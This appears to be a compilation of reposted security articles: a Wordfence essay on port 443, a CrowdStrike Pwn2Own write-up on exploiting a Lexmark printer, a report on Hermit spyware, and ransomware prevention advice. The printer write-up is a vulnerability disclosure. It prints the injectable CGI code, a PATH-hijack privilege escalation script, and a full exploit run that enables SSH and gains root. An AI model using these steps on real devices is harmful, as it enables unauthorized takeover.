  • 993 – IMAP (for email clients)
  • 3306 – MySQL
  • 6378 – Redis
  • 11211 – Memcached

If you run your eye down this list, you’ll notice something interesting. The options available to you for services to run on most of these ports are quite limited. Some of them are specific to a single application, like Redis. Others, like SMTP, provide a limited number of applications, either proprietary or open-source. In both cases, you can change the configuration of the application, but it’s rare to write a custom application on one of those ports. Except port 443.

In the case of port 443 and port 80, you have a limited range of web servers listening on those ports, but users are writing a huge range of bespoke applications on port 443, and have a massive selection of applications that they can host on that port. Everything from WordPress to Drupal to Joomla, and more. There are huge lists of Content Management Systems.

Not only do you have a wide range of off-the-shelf web applications that you can run on port 443 or (if you’re silly) port 80, but you also have a range of languages they might be coded in, or in which you can code your own web application. Keep in mind that the web server, in this case, is much like an SSH or IMAP server in that it is listening on the port and handling connections, but the difference is that it is handing off execution to these languages, their various development frameworks, and ultimately the application that a developer has written to handle the incoming request.

With SSH, SMTP, FTP, IMAP, MySQL, Redis and most other services, the process listening on the port is the process that handles the request. With web ports, the process listening on the port delegates the incoming connection to another application, usually written in another language, running at the application layer, that is part of the extremely large and diverse ecosystem of web applications.

This concept in itself – that the applications listening on the web ports are extremely diverse and either home-made or selected from a large and diverse ecosystem – presents unique security challenges. In the case of, say, Redis, you might worry about running a secure version of Redis and making sure it is not misconfigured. In the case of a web server, you may have 50 application instances written in two languages from five different vendors all on the same port, which all need to be correctly configured, have their patch levels maintained, and be written using secure coding practices.

As if that doesn’t make the web ports challenging enough, they are also, for the most part, public. Putting aside internal websites for the moment, perhaps the majority of websites derive their value from making services available to users on the Internet by being public-facing. If you consider the list of ports I have above, or in the Wikipedia article I linked to, many of those ports are only open on internal networks or have access to them controlled if they are external. Web ports for public websites, by their very nature, must be publicly accessible for them to be useful. There are certain public services like SMTP or DNS, but as I mentioned above, the server that is listening on the port is the server handling the request in these cases.

A further challenge when securing websites is that often the monetary and data assets available to an attacker when compromising a website are greater than the assets they may gain compromising a corporate network. You see this with high volume e-commerce websites where a small business is processing a large number of web-based e-commerce transactions below $100. If the attacker compromises their corporate network via leaked AWS credentials, they may gain access to the company bank account and company intellectual property, encrypt the company’s data using ransomware, or perhaps even obtain customer PII. But by compromising the e-commerce website, they can gain access to credit card numbers in-flight, which are far more tradeable, and where the sum of available credit among all cards is greater than all the assets of the small business, including the amount of ransom that business might be able to pay.

Let’s not discount breaches like the 2017 Equifax breach that compromised 163 million American, British and Canadian citizen’s records. That was extremely valuable to the attackers. But targets like this are rare, and the Web presents a target-rich environment. Which is the third point I’d like to make in this post. While an organization may run a handful of services on other ports, many companies – with hosting providers in particular – run a large number of web applications. And an individual or company is far more likely to have a service running on a web port than any other port. Many of us have websites, but how many of us run our own DNS, SMTP, Redis, or another service listening on a port other than 80 or 443? Most of us who run websites also run MySQL on port 3306, but that port should not be publicly accessible if configured correctly.

That port 443 security is different has become clear to us at Wordfence over the years as we have tracked and cataloged a huge number of malware variants, web vulnerabilities, and a wide range of tactics, techniques, and procedures (TTP) that attackers targeting web applications use. Most of these have no relationship with the web server listening on port 443, and nearly all of them have a close relationship with the web application that the web server hands off control to once communication is established.

My hope with this post has been to catalyze a different way of thinking about port 443 and that other insecure port (80) we all hopefully don’t use. Port 443 is not just another service. It is, in fact, the gateway to a whole new universe of programming languages, dev frameworks, and web applications.

In the majority of cases, the gateway to that new universe is publicly accessible.

Once an attacker passes through that gateway, a useful way to think about the web applications hosted on the server is that each application is its own service that needs to have its patch level maintained, needs to be configured correctly, and should be removed if it is not in use to reduce the available attack surface.

If you are a web developer you may already think this way, and if anything, you may be guilty of neglecting services on ports other than port 80 or 443. If you are an operations engineer, or an analyst working in a SOC protecting an enterprise network, you may be guilty of thinking about port 443 as just another port you need to secure.

Think of port 443 as a gateway to a new universe that has no access control, with HTTPS providing easy standardized access, and with a wide range of diverse services running on the other side, that provide an attacker with a target and asset-rich environment.

—

Footnote: We will be exhibiting at Black Hat in Las Vegas this year at booth 2514 between the main entrance and Innovation City. Our entire team of over 30 people will be there. We’ll have awesome swag, as always. Come and say hi! Our team will also be attending DEF CON immediately after Black Hat.

Written by Mark Maunder – Founder and CEO of Wordfence. 

Source :
https://www.wordfence.com/blog/2022/06/securing-port-443/

For the Common Good: How to Compromise a Printer in Three Simple Steps

In August 2021, ZDI announced Pwn2Own Austin 2021, a security contest focusing on phones, printers, NAS devices and smart speakers, among other things. The Pwn2Own contest encourages security researchers to demonstrate remote zero-day exploits against a list of specified devices. If successful, the researchers are rewarded with a cash prize, and the leveraged vulnerabilities are responsibly disclosed to the respective vendors so they can improve the security of their products.

After reviewing the list of devices, we decided to target the Cisco RV340 router and the Lexmark MC3224i printer, and we managed to identify several vulnerabilities in both of them. Fortunately, we were luckier than last year and were able to participate in the contest for the first time. By successfully exploiting both devices, we won $20,000 USD, which CrowdStrike donated to several charitable organizations chosen by our researchers.

In this blog post, we outline the vulnerabilities we discovered and used to compromise the Lexmark printer.

Overview

ProductLexmark MC3224
Affected Firmware Versions
(without claim for completeness)		CXLBL.075.272 (2021-07-29)
CXLBL.075.281 (2021-10-14)
Fixed Firmware VersionCXLBL.076.294 (CVE-2021-44735) Note: Users must implement a workaround to address CVE-2021-44736, see Lexmark Security Alert
CVECVE-2021-44735 (Shell Command Injection)
CVE-2021-44736 (Authentication Reset)
Root CausesAuthentication Bypass, Shell Command Injection, Insecure SUID Binary
ImpactUnauthenticated Remote Code Execution (RCE) as root
ResearchersHanno Heinrichs, Lukas Kupczyk
Lexmark Resourceshttps[:]//publications.lexmark[.]com/publications/security-alerts/CVE-2021-44735.pdf
https[:]//publications.lexmark[.]com/publications/security-alerts/CVE-2021-44736.pdf

Step #1: Increasing Attack Surface via Authentication Reset

Before we could start our analysis, we first had to obtain a copy of the firmware. It quickly turned out that the firmware is shipped as an .fls file in a custom binary format containing encrypted data. Luckily, a detailed writeup on the encryption scheme had been published in September 2020. While the writeup did not include code or cryptographic keys, it was elaborate enough that we were able to quickly reproduce it and write our own decrypter. With our firmware decryption tool at hand, we were finally able to peek into the firmware.

It was assumed that the printer would be in a default configuration during the contest and that the setup wizard on the printer had been completed. Thus, we expected the administrator password to be set to an unknown value. In this state, unauthenticated users can still trigger a vast amount of actions through the web interface. One of these is Sanitize all information on nonvolatile memory. It can be found under Settings -> Device -> Maintenance. There are several options to choose from when performing that action:

[x] Sanitize all information on nonvolatile memory
  (x) Start initial setup wizard
  ( ) Leave printer offline
[x] Erase all printer and network settings
[x] Erase all shortcuts and shortcut settings

[Start] [Reset]

If the checkboxes are ticked as shown, the process can be initiated through the Start button. The printer’s non-volatile memory will be cleared and a reboot is initiated. This process takes approximately two minutes. Afterward, unauthenticated users can access all functions through the web interface.

Step #2: Shell Command Injection

After resetting the nvram as outlined in the previous section, the CGI script https://target/cgi-bin/sniffcapture_post becomes accessible without authentication. It was previously discovered by browsing the decrypted firmware and is located in the directory /usr/share/web/cgi-bin.

At the beginning of the script, the supplied POST body is stored in the variable data. Afterward, several other variables such as interface, dest, path and filter are extracted and populated from that data by using sed:

read data

remove=${data/*-r*/1}
if [ "x${remove}" != "x1" ]; then
    remove=0
fi
interface=$(echo ${data} | sed -n 's|^.*-i[[:space:]]\([^[:space:]]\+\).*$|\1|p')
dest=$(echo ${data} | sed -n 's|^.*-f[[:space:]]\([^[:space:]]\+\).*$|\1|p')
path=$(echo ${data} | sed -n 's|^.*-f[[:space:]]\([^[:space:]]\+\).*$|\1|p')
method="startSniffer"
auto=0
if [ "x${dest}" = "x/dev/null" ]; then
    method="stopSniffer"
elif [ "x${dest}" = "x/usr/bin" ]; then
    auto=1
fi
filter=$(echo ${data} | sed -n 's|^.*-F[[:space:]]\+\(["]\)\(.*\)\1.*$|\2|p')
args="-i ${interface} -f ${dest}/sniff_control.pcap"

The variable filter is determined by a quoted string following the value -F specified in the POST body. As shown below, it is later embedded into the args variable in case it has been specified along with an interface:

fmt=""
args=""
if [ ${remove} -ne 0 ]; then
    fmt="${fmt}b"
    args="${args} remove 1"
fi
if [ -n "${interface}" ]; then
    fmt="${fmt}s"
    args="${args} interface ${interface}"
    if [ -n "${filter}" ]; then
        fmt="${fmt}s"
        args="${args} filter \"${filter}\""
    fi
    if [ ${auto} -ne 0 ]; then
        fmt="${fmt}b"
        args="${args} auto 1"
    else
        fmt="${fmt}s"
        args="${args} dest ${dest}"
    fi
fi
[...]

At the end of the script, the resulting args value is used in an eval statement:

[...]
resp=""
if [ -n "${fmt}" ]; then
    resp=$(eval rob call system.sniffer ${method} "{${fmt}}" ${args:1} 2>/dev/null)
    submitted=1
[...]

By controlling the filter variable, attackers are therefore able to inject further shell commands and gain access to the printer as uid=985(httpd), which is the user that the web server is executed as.

Step #3: Privilege Escalation

The printer ships a custom root-owned SUID binary called collect-selogs-wrapper:

# ls -la usr/bin/collect-selogs-wrapper
-rwsr-xr-x. 1 root root 7324 Jun 14 15:46 usr/bin/collect-selogs-wrapper

In its main() function, the effective user ID (0) is retrieved and the process’s real user ID is set to that value. Afterward, the shell script /usr/bin/collect-selogs.sh is executed:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __uid_t euid; // r0

  euid = geteuid();
  if ( setuid(euid) )
    perror("setuid");
  return execv("/usr/bin/collect-selogs.sh", (char *const *)argv);
}

Effectively, the shell script is executed as root with UID=EUID, and therefore the shell does not drop privileges. Furthermore, argv[] of the SUID binary is passed to the shell script. As the environment variables are also retained across the execv() call, an attacker is able to specify a malicious $PATH value. Any command inside the shell script that is not referenced by its absolute path can thereby be detoured by the attacker.

The first opportunity for such an attack is the invocation of systemd-cat inside sd_journal_print():

# cat usr/bin/collect-selogs.sh
#!/bin/sh
# Collects fwdebug from the current state plus the last 3 fwdebug files from
# previous auto-collections. The collected files will be archived and compressed
# to the requested output directory or to the standard output if the output
# directory is not specified.

sd_journal_print() {
    systemd-cat -t collect-selogs echo "$@"
}

sd_journal_print "Start! params: '$@'"

[...]

The /dev/shm directory can be used to prepare a malicious version of systemd-cat:

$ cat /dev/shm/systemd-cat
#!/bin/sh
mount -o remount,suid /dev/shm
cp /usr/bin/python3 /dev/shm
chmod +s /dev/shm/python3
$ chmod +x /dev/shm/systemd-cat

This script remounts /dev/shm with the suid flag so that SUID binaries can be executed from it. It then copies the system’s Python interpreter to the same directory and enables the SUID bit on it. The malicious systemd-cat copy can be executed as root by invoking the setuid collect-setlogs-wrapper binary like this:

$ PATH=/dev/shm:$PATH /usr/bin/collect-selogs-wrapper

The $PATH environment variable is prepended with the /dev/shm directory that hosts the malicious systemd-cat copy. After executing the command, a root-owned SUID-enabled copy of the Python interpreter is located in /dev/shm:

root@ET788C773C9E20:~# ls -la /dev/shm
drwxrwxrwt    2 root     root           100 Oct 29 09:33 .
drwxr-xr-x   13 root     root          5160 Oct 29 09:31 ..
-rwsr-sr-x    1 root     httpd         8256 Oct 29 09:33 python3
-rw-------    1 nobody   nogroup         16 Oct 29 09:31 sem.netapps.rawprint
-rwxr-xr-x    1 httpd    httpd           96 Oct 29 09:33 systemd-cat

The idea behind this technique is to establish a simple way of escalating privileges without having to exploit the initial collect_selogs_wrapper SUID again. We did not use the Bash binary for this, as the version shipped with the printer seems to ignore the -p flag when running with UID!=EUID.

Exploit

An exploit combining the three vulnerabilities to gain unauthenticated code execution as root  has been implemented as a Python script. First, the exploit tries to determine whether the printer has a login password set (i.e., setup wizard has been completed) or it is password-less (i.e., authentication reset already executed earlier or setup wizard not yet completed). Depending on the result, it decides whether the non-volatile memory reset is required.

If the non-volatile memory reset is triggered, the exploit waits for the printer to finish rebooting. Afterward, it continues with the shell command injection step and escalation of privileges. The privileged access is then used to start an OpenSSH daemon on the printer. To finish, the exploit establishes an interactive SSH session with the printer and hands control over to the user. An example run of the exploit in a testing environment follows:

$ ./mc3224i_exploit.py https://10.64.23.20/ sshd
[*] Probing device...
[+] Firmware: CXLBL.075.281
[+] Acceptable login methods: ['LDAP_DEVICE_REALM',        
    'LOGIN_METHODS_WITH_CREDS']
[*] Device IS password protected, auth bypass required
[*] Erasing nvram...
[+] Success! HTTP status: 200, rc=1
[*] Waiting for printer to reboot, sleeping 5 seconds...
[*] Checking status...
xxxxxxxxxxxxxxxxxxxxxxx!
[+] Reboot finished
[*] Probing device...
[+] Firmware: CXLBL.075.281
[+] Acceptable login methods: ['LDAP_DEVICE_REALM']
[*] Device IS NOT password protected
[+] Authentication bypass done
[*] Attempting to escalate privileges...
[*] Executing command (root? False):
    echo -e '#!/bin/sh\\n
    mount -o remount,suid /dev/shm\\n
    cp /usr/bin/python3 /dev/shm\\nchmod +s /dev/shm/python3' >
    /dev/shm/systemd-cat; chmod +x /dev/shm/systemd-cat
[+] HTTP status: 200
[*] Executing command (root? False): PATH=/dev/shm:$PATH /usr/bin/collect-selogs-wrapper
[+] request timed out, that’s what we expect
[+] SUID Python interpreter should be created
[*] Attempting to enable SSH daemon...
[*] Executing command (root? True):
sed -Ee 's/(RSAAuthentication|UsePrivilegeSeparation|UseLogin)/#\\1/g'
    -e 's/AllowUsers guest/AllowUsers root guest/'
    /etc/ssh/sshd_config_perf > /tmp/sshconf;
    mkdir /var/run/sshd;
    iptables -I INPUT 1 -p tcp --dport 22 -j ACCEPT;
    nohup /usr/sbin/sshd -f /tmp/sshconf &
[+] HTTP status: 200
[+] SSH daemon should be running
[*] Trying to call ssh... ('ssh', '-i', '/tmp/tmpd2vc5a2u', 'root@10.64.23.20')
root@ET788C773C9E20:~# id
uid=0(root) gid=0(root) groups=0(root)

Summary

In this blog, we described a number of vulnerabilities that can be exploited from the local network to bypass authentication, execute arbitrary shell commands, and elevate privileges on a Lexmark MC3224i printer. The research started as an experiment after the announcement of the Pwn2Own Austin 2021. The team enjoyed the challenge, as well as participating in Pwn2Own for the first time, and we welcome your feedback. We’d also like to invite you to read about the other device we successfully targeted during Pwn2Own Austin 2021, the Cisco RV340 router.

Additional Resources

Google Says ISPs Helped Attackers Infect Targeted Smartphones with Hermit Spyware

A week after it emerged that a sophisticated mobile spyware dubbed Hermit was used by the government of Kazakhstan within its borders, Google said it has notified Android users of infected devices.

Additionally, necessary changes have been implemented in Google Play Protect — Android’s built-in malware defense service — to protect all users, Benoit Sevens and Clement Lecigne of Google Threat Analysis Group (TAG) said in a Thursday report.

Hermit, the work of an Italian vendor named RCS Lab, was documented by Lookout last week, calling out its modular feature-set and its abilities to harvest sensitive information such as call logs, contacts, photos, precise location, and SMS messages.

Once the threat has thoroughly insinuated itself into a device, it’s also equipped to record audio and make and redirect phone calls, in addition to abusing its permissions to accessibility services to keep tabs on the foreground apps used by the victims.

Its modularity also enables it to be wholly customizable, equipping the spyware’s functionality to be extended or altered at will. It’s not immediately clear who were targeted in the campaign, or which of RCS Lab clients were involved.

The Milan-based company, operating since 1993, claims to provide “law enforcement agencies worldwide with cutting-edge technological solutions and technical support in the field of lawful interception for more than twenty years.” More than 10,000 intercepted targets are purported to be handled daily in Europe alone.

“Hermit is yet another example of a digital weapon being used to target civilians and their mobile devices, and the data collected by the malicious parties involved will surely be invaluable,” Richard Melick, director of threat reporting for Zimperium, said.

The targets have their phones infected with the spy tool via drive-by downloads as initial infection vectors, which, in turn, entails sending a unique link in an SMS message that, upon clicking, activates the attack chain.

It’s suspected that the actors worked in collaboration with the targets’ internet service providers (ISPs) to disable their mobile data connectivity, followed by sending an SMS that urged the recipients to install an application to restore mobile data access.

“We believe this is the reason why most of the applications masqueraded as mobile carrier applications,” the researchers said. “When ISP involvement is not possible, applications are masqueraded as messaging applications.”

To compromise iOS users, the adversary is said to have relied on provisioning profiles that allow fake carrier-branded apps to be sideloaded onto the devices without the need for them to be available on the App Store.

Google

An analysis of the iOS version of the app shows that it leverages as many as six exploits — CVE-2018-4344, CVE-2019-8605, CVE-2020-3837, CVE-2020-9907, CVE-2021-30883, and CVE-2021-30983 — to exfiltrate files of interest, such as WhatsApp databases, from the device.

“As the curve slowly shifts towards memory corruption exploitation getting more expensive, attackers are likely shifting too,” Google Project Zero’s Ian Beer said in a deep-dive analysis of an iOS artifact that impersonated the My Vodafone carrier app.

On Android, the drive-by attacks require that victims enable a setting to install third-party applications from unknown sources, doing so which results in the rogue app, masquerading as smartphone brands like Samsung, requests for extensive permissions to achieve its malicious goals.

The Android variant, besides attempting to root the device for entrenched access, is also wired differently in that instead of bundling exploits in the APK file, it contains functionality that permits it to fetch and execute arbitrary remote components that can communicate with the main app.

“This campaign is a good reminder that attackers do not always use exploits to achieve the permissions they need,” the researchers noted. “Basic infection vectors and drive by downloads still work and can be very efficient with the help from local ISPs.”

Stating that seven of the nine zero-day exploits it discovered in 2021 were developed by commercial providers and sold to and used by government-backed actors, the tech behemoth said it’s tracking more than 30 vendors with varying levels of sophistication who are known to trade exploits and surveillance capabilities.

What’s more, Google TAG raised concerns that vendors like RCS Lab are “stockpiling zero-day vulnerabilities in secret” and cautioned that this poses severe risks considering a number of spyware vendors have been compromised over the past ten years, “raising the specter that their stockpiles can be released publicly without warning.”

“Our findings underscore the extent to which commercial surveillance vendors have proliferated capabilities historically only used by governments with the technical expertise to develop and operationalize exploits,” TAG said.

“While use of surveillance technologies may be legal under national or international laws, they are often found to be used by governments for purposes antithetical to democratic values: targeting dissidents, journalists, human rights workers and opposition party politicians.”

Source :
https://thehackernews.com/2022/06/google-says-isps-helped-attackers.html

Anti-Ransomware Day: What Can We Do to Prevent the Next WannaCry?

This Anti-Ransomware Day, SonicWall looks at how cybersecurity has changed since WannaCry — and what we can do to ensure we never see such a widespread, devastating and preventable attack again.

On May 12, 2017, attackers identified a vulnerability in a Windows device somewhere in Europe — and in the process, set off an attack that would ultimately impact roughly 200,000 victims and over 300,000 endpoints across 150 countries. The devastation wrought by WannaCry caused financial losses of roughly $4 billion before the strain was halted by an unlikely hero just hours later. But perhaps most devastating of all was that it was completely preventable.

To help raise awareness about ransomware strains like WannaCry and the steps needed to combat them, INTERPOL in 2020 teamed up with cybersecurity firm Kaspersky to declare May 12 Anti-Ransomware Day. By taking a few important steps, organizations can help stop the next major ransomware attack, averting the potential for downtime, reputational damage, fines and more.

“Cybercrime and cybersecurity may seem like a complex issue that is difficult to understand unless you are an expert in the field — this is not the case. INTERPOL’s campaign aims to demystify these cyberthreats and offer simple, concrete steps which everybody can take to protect themselves,” INTERPOL’s Director of Cybercrime Craig Jones said.

What’s Changed Since WannaCry?

In the years since the infamous attack, ransomware has continued to grow. In 2021, SonicWall Capture Labs threat researchers recorded 623.3 million ransomware attempts on customers globally. This represents an increase of 105% from 2020’s total and a staggering 232% since 2019.

And while ransomware was a hot topic worldwide due to attacks such as WannaCry and NotPetya, which would begin its own savage trek across the globe just six weeks later, ransomware volume in 2017 was less than a third of what it was in 2021.

Weakened, but Still Wreaking Havoc

While variants such as Ryuk, SamSam and Cerber made up 62% of the ransomware attacks recorded by SonicWall in 2021, WannaCry lives on — and in surprising numbers. By now, five years on, the number of vulnerable Windows systems should be virtually zero. A patch for the EternalBlue vulnerability exploited by WannaCry was released two months prior to the attack, and Microsoft later took the unusual step of also releasing patches for Windows systems that were old and no longer supported.

But in 2020, SonicWall observed 233,000 instances of WannaCry, and in 2021, 100,000 hits were observed — indicating that there are still vulnerable Windows systems in the wild that need to be patched.

We Can Worry … Or Get to Work

What made WannaCry so successful was that many organizations at the time took a set-it-and-forget-it approach to IT, leaving vulnerable hundreds of thousands of endpoints that could otherwise have been patched prior to the attack. But while patching is a crucial part of any cybersecurity strategy, it can’t work alone — there are still a number of other steps organizations need to take to bolster their odds against the next big ransomware attack.

  • Update: Whenever possible, enable automatic updates on applications and devices on your network — both for operating systems and for any other apps in your ecosystem.
  • Upgrade: The older an operating system gets, the more malware and other threats are created to target them. Retire any software or hardware that is obsolete or no longer supported by the vendor.
  • Duplicate: All important data should be backed up to a place inaccessible by attackers. Having adequate and up-to-date backups on hand significantly eases recovery in the event of a ransomware attack.
  • Educate: A staggering 91% of all cyberattacks start with someone opening a phishing email. Teach employees to be wary any time they receive an email, particularly one with an attachment or link.
  • Safeguard: By taking the above steps, most attacks can be prevented, but not all. They’re called “best practices” and not “universal practices” for a reason: If any are allowed to lapse — or new methods are found to circumvent them — organizations will need a strong last line of defense. An advanced, multi-layer platform that includes endpoint security, next-gen firewall services, email security and secure mobile access can work to eliminate blind spots and eradicate both known and unknown threats.

“In the past two years, we have seen how cybercriminals have become bolder in using ransomware. Organizations targeted by such attacks are not limited to corporations and governmental organizations — ransomware operators are ready to hit essentially any business regardless of size,” Jones said. “To fight them, we need to educate ourselves on how they work and fight them as one. Anti-Ransomware Day is a good opportunity to highlight this need and remind the public of how important it is to adopt effective security practices.”

Source :
https://blog.sonicwall.com/en-us/2022/05/anti-ransomware-day-what-can-we-do-to-prevent-the-next-wannacry/